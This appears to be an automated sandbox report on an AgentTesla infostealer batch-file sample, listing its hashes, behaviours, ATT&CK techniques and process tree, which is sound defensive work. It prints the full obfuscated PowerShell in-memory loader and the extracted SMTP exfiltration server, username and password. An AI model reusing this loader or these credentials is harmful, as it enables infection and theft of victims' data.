Analysis
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max time kernel
124s -
max time network
126s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
18-06-2024 17:25
Static task
static1
Behavioral task
behavioral1
Sample
7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat
Resource
win10v2004-20240611-en
General
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Target
7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat
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Size
2.5MB
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MD5
0f66c9fac192e23ed8b27756a13c9a51
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SHA1
20ddad40148adbdd5d784b124acc33cdde097132
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SHA256
7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f
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SHA512
a5a14d3cb211d82d88fe6a9e20d9e31d904f469d53397c08d0ad5d0e33092309befd7b758823712412f0934212af69211fcd6f2e7f21fec9eb74e2949bc45335
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SSDEEP
49152:5an+rZc4d12wBdAyoxrHDJn514sMoV5HOIbTbfS:P
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.keeptraveling-eg.com - Port:
587 - Username:
[email protected] - Password:
Do76#Zbbdonia - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
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Executes dropped EXE 1 IoCs
Processes:
7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Naspid process 2764 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Adds Run key to start application 2 TTPs 1 IoCs
Processes:
7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nasdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Gcfbzna = "C:\\Users\\Admin\\AppData\\Roaming\\Gcfbzna.bat" 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas -
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 19 api.ipify.org 20 api.ipify.org 21 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
Processes:
7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nasdescription pid process target process PID 2764 set thread context of 3952 2764 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas RegAsm.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.NasRegAsm.exepid process 2764 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas 2764 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas 3952 RegAsm.exe 3952 RegAsm.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.NasRegAsm.exedescription pid process Token: SeDebugPrivilege 2764 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas Token: SeDebugPrivilege 2764 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas Token: SeDebugPrivilege 3952 RegAsm.exe -
Suspicious use of WriteProcessMemory 17 IoCs
Processes:
cmd.exe7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nasdescription pid process target process PID 4648 wrote to memory of 5056 4648 cmd.exe cmd.exe PID 4648 wrote to memory of 5056 4648 cmd.exe cmd.exe PID 4648 wrote to memory of 2488 4648 cmd.exe xcopy.exe PID 4648 wrote to memory of 2488 4648 cmd.exe xcopy.exe PID 4648 wrote to memory of 4956 4648 cmd.exe attrib.exe PID 4648 wrote to memory of 4956 4648 cmd.exe attrib.exe PID 4648 wrote to memory of 2764 4648 cmd.exe 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas PID 4648 wrote to memory of 2764 4648 cmd.exe 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas PID 4648 wrote to memory of 2764 4648 cmd.exe 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas PID 2764 wrote to memory of 3952 2764 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas RegAsm.exe PID 2764 wrote to memory of 3952 2764 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas RegAsm.exe PID 2764 wrote to memory of 3952 2764 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas RegAsm.exe PID 2764 wrote to memory of 3952 2764 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas RegAsm.exe PID 2764 wrote to memory of 3952 2764 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas RegAsm.exe PID 2764 wrote to memory of 3952 2764 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas RegAsm.exe PID 2764 wrote to memory of 3952 2764 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas RegAsm.exe PID 2764 wrote to memory of 3952 2764 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas RegAsm.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4648 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "2⤵PID:5056
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C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas2⤵PID:2488
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C:\Windows\system32\attrib.exeattrib +s +h C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas2⤵
- Sets file to hidden
- Views/modifies file attributes
PID:4956
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C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.NasC:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas -WindowStyle hidden -command "$Nrmdm = Get-Content 'C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat' | select-object -Last 1; $Wjppsmckfpm = [System.Convert]::FromBase64String($Nrmdm);$Iceehfuhq = New-Object System.IO.MemoryStream( , $Wjppsmckfpm );$Ygqvnh = New-Object System.IO.MemoryStream;$Mzmtwv = New-Object System.IO.Compression.GzipStream $Iceehfuhq, ([IO.Compression.CompressionMode]::Decompress);$Mzmtwv.CopyTo( $Ygqvnh );$Mzmtwv.Close();$Iceehfuhq.Close();[byte[]] $Wjppsmckfpm = $Ygqvnh.ToArray();[Array]::Reverse($Wjppsmckfpm); $Hvxhaz = [System.Threading.Thread]::GetDomain().Load($Wjppsmckfpm); $Dccbj = $Hvxhaz.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2764 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3952
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
2Hidden Files and Directories
2Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas
Filesize423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82